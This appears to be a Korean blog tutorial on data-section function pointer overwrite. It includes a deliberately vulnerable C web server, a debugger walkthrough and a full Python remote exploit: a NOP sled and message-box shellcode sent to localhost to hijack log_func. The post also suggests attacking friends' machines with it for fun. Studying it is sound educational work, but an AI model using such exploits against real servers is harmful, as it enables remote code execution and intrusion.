Training 2020 #6 ( Funtion Pointer Overwrite )

이번 포스팅부터는 기본적인 스택 버퍼 오버플로우 기법과 취약점 발생 원리는 동일하나 공격 방법이 다른 힙 메모리와 data 섹션에서 발생하는 버퍼 오버 플로우에 대해 알아볼 것이다.

힙 메모리는 스택과 다르게 RET, SEH가 존재하지 않으므로 공격을 성공시키기 위해 힙 메모리에 존재하는 다른 오브젝트, 포인터 및 헤더 등을 덮어쓰는 방법으로 공격한다.

Function Pointer Overwrite

Function Pointer Overwrite 란 말 그대로 함수의 포인터를 덮는 것이다. 이를 자세히 이해하기 위해서는 메모리의 구조를 알 필요가 있다.

image

전체적인 메모리 구조이다.
보면 알 수 있듯이 Stack만 높은 주소에서 낮은 주소로 자라고 나머지 Heap, BSS, Data, Text는 낮은 주소에서 높은 주소로 자라는 것을 알 수 있다.

static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;

strcpy(log_buf,buf);
log_func();

위에 소스는 static으로 정적 변수를 선언하였다. 따라서 Data 영역에 변수가 올라가게 되고 buf에 500바이트 이상의 문자열을 입력하게 되면 strcpy함수 부분에서 문자열의 길이를 검사하지 않아 log_buf[500]의 크기를 모두 덮어씌운 다음 함수 포인터를 수정할 수 있게 될 것이다.

image

실습

#include "stdafx.h"
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;

int log_GET(void){
    printf("Logging : %s\n", log_buf);
    return 0;
}

int log_POST(void){
    printf("Logging : %s\n", log_buf);
    return 0;
}

int parse(SOCKET sock, char *buf){
    char url[1000] = {0,};
    char send_buf[2000]={0,};
    char * token = strtok(buf, " ");
    char * method = token;
    //if(strlen(token+(strlen(method)+1))>1000) exit(1);
    strcpy(url,token+(strlen(method)+1));
    printf("URL : %s ",url);

    if (strcmp(method,"GET") == 0){
        sprintf(send_buf,
            "HTTP/1.1 200 OK\n"
            "Server: simple web server\n"
            "Content-Type: text/html\n\n"
            "<html>\n"
            "<body>\n"
            "Welcome To My WebServer !!\n"
            "</body>\n"
            "</html>"
        );
        send(sock, send_buf, sizeof(send_buf), 0);
        log_func = log_GET;
    } else {
        sprintf(send_buf,
            "HTTP/1.1 404 Not Found\n"
            "Server: simple web server\n"
            "Content-Type: text/html\n\n"
            "<html>\n"
            "<body>\n"
            "Page Not Found!!\n"
            "</body>\n"
            "</html>"
        );
        send(sock, send_buf, sizeof(send_buf), 0);
        log_func = log_POST;
    }
    printf("\nlog func ptr : 0x%x\n",log_func);
    printf("\nlog buf length : %d\n",strlen(url));
    memcpy(log_buf, url, strlen(url));
    printf("\nlog buf : 0x%x\n",&log_buf);
    printf("\nlog func ptr : 0x%x\n",log_func);
    log_func();
    return 0;
}

int _tmain(int argc, _TCHAR* argv[])
{
    WSADATA wsadata = {0};
    WSAStartup(WORD(2.0), &wsadata);

    sockaddr_in addr_server = {0,};
    sockaddr_in addr_client = {0,};
    SOCKET server_sock = socket(AF_INET, SOCK_STREAM, 0);
    SOCKET client_sock = socket(AF_INET, SOCK_STREAM, 0);
    addr_server.sin_family = AF_INET;
    addr_server.sin_addr.s_addr = htonl(INADDR_ANY);
    addr_server.sin_port = htons(80);
    int addrlen_server = sizeof(sockaddr);
    int addrlen_clt = sizeof(sockaddr);
    char recv_buf[2000]={0,};

    printf("# Simple Web Server v0.1\n");
    printf("[+] Server Start !!\n");

    if (bind(server_sock, (sockaddr *)&addr_server, sizeof(sockaddr)) == SOCKET_ERROR) {
        printf("Bind Error : %d\n", WSAGetLastError());
        exit(-1);
    } 

    if (listen(server_sock, 5) == SOCKET_ERROR) {
        printf("Listen Error : %d\n", WSAGetLastError());
        exit(-1);
    }

    while (1) {
        client_sock = accept(server_sock, (sockaddr *)&addr_client, &addrlen_clt);
        if (client_sock == INVALID_SOCKET) {
            printf("accept failed. Error No. %d\n", WSAGetLastError());    
        }
        //printf("Connected : %ld\n", client_sock);
        recv(client_sock, recv_buf, 2000, 0);
        parse(client_sock,recv_buf);
        closesocket(client_sock);
    }
    return 0;
}

이번에 공격할 간단한 원격 웹 서버 프로그램의 소스 코드이다. ( 사실 나는 간단하지 않지만 책에서 간단하다 그랬으니 그런걸로 하자. )

image

위 소스 코드를 실행하고 브라우저에서 127.0.0.1 ( localhost ) 또는 자신의 아이피 주소를 입력해 보자. 그러면 서버 프로그램이 실행 중인 터미널에 접속 정보 및 입력 문자열 길이 등의 정보가 출력된다.

static char log_buf[500] = {0,};
static int (* log_func)(void) = NULL;
int parse(SOCKET sock, char *buf){
    char url[1000] = {0,};
memcpy(log_buf, url, strlen(url));

위 세가지 코드를 확인해보자. 이 소스코드의 취약점이 보일 것이다.

  • log_buf 의 크기는 500 이다.
  • url 의 크기는 1000 이다.
  • log_buf 에 url 의 내용을 옮기며 옮길 수 있는 크기는 url의 길이 만큼이다.
  • url 에 500 바이트 이상의 문자열을 입력하면 메모리를 덮어씌울 수 있다.

더 자세히 분석하기 위해 immunity debugger를 이용하였다.

image

우선 취약점이 존재하는 함수에 BP를 걸어주기 위해 Ctrl + N 을 눌러 함수 이름에서 parse 함수를 찾아주자.

image

)

image

그 후 memcpy 함수 부분을 확인해보자. EBP-3E8에 있는 값을 ECX로 옮겨 ECX를 log_buf의 위치 ( 0x00403020 )로 옮겨간다는 것을 확인할 수 있다.

image

왼쪽 아래 덤프창에서 log_buf ( 0x00403020 )이 덮어 씌워지는 것을 확인할 수 있다.

image

그 후 프로그램을 진행시키다 보면 log_func을 부르는 부분이 있는데 어셈블리어를 보면 그 주소값을 담고 있는 위치가 0x00403214 이다. 하지만 아까 입력받은 url 주소가 500 바이트가 넘어가며 0x303d713b로 덮여있는 것을 확인할 수 있었다. 이 프로그램에는 log_func의 값을 출력해주는 함수가 있으니 한번 더 실행시켜서 확인해보자.

image

위에서 확인한 대로 0x303d713b로 log_func의 주소가 뒤덮인 것을 확인할 수 있었다. 따라서 0x00403214의 위치를 우리가 쉘코드를 입력한 주소로 넘겨주기만 하면 우리가 원하는 프로그램을 실행시킬 수 있다.

image
import struct
from socket import *

NOP = "\x90" * 200

# Messagebox: HelloSCP!!
SHELLCODE  = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
SHELLCODE += "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
SHELLCODE += "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
SHELLCODE += "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
SHELLCODE += "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
SHELLCODE += "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x50\x21"
SHELLCODE += "\x21\x01\x68\x6c\x6f\x53\x43\x68\x20\x48\x65\x6c\x89\xe1\xfe"
SHELLCODE += "\x49\x0b\x31\xc0\x51\x50\xff\xd7"

print "Shellcode Length :", len(SHELLCODE)
DUMMY = "A"*(499-len(NOP+SHELLCODE))
BUF = struct.pack('<L',0x00403020)
#BUF = struct.pack('<L',0x00000000)
PAYLOAD = NOP + SHELLCODE + DUMMY + BUF

print " [+] Sending Packet..."
s = socket(AF_INET,SOCK_STREAM,0)
s.connect(('127.0.0.1',80))
s.send("GET /"+PAYLOAD)
print s.recv(150)
s.close()

위에서 알아낸 정보들을 토대로 완성된 쉘코드이다.

image

쉘코드를 실행시켜 성공적으로 메시지 박스를 띄울 수 있었다!

재밌다!

실험할 수 있는 실험체 (친구) 가 있다면 친구와 함께 실습하면 더 재밌었다!
웹 서버 프로그램을 공격하는 Exploit을 Remote Exploit 공격이라고 부르는데 원격으로 공격을 실행할 수 있어 서로의 IP를 알고 있다면 서로 웹 서버 프로그램을 실행시키고 원격으로 공격을 하면서 놀 수 있다!

(처음엔 선배님이 실험체가 되어주어서 선배님 화면에 계산기를 띄웠는데 재밌었다. 보여주기식 공격이었지만 그래도 다시 한번 흥미를 가지고 공부를 할 수 있게 되었다.)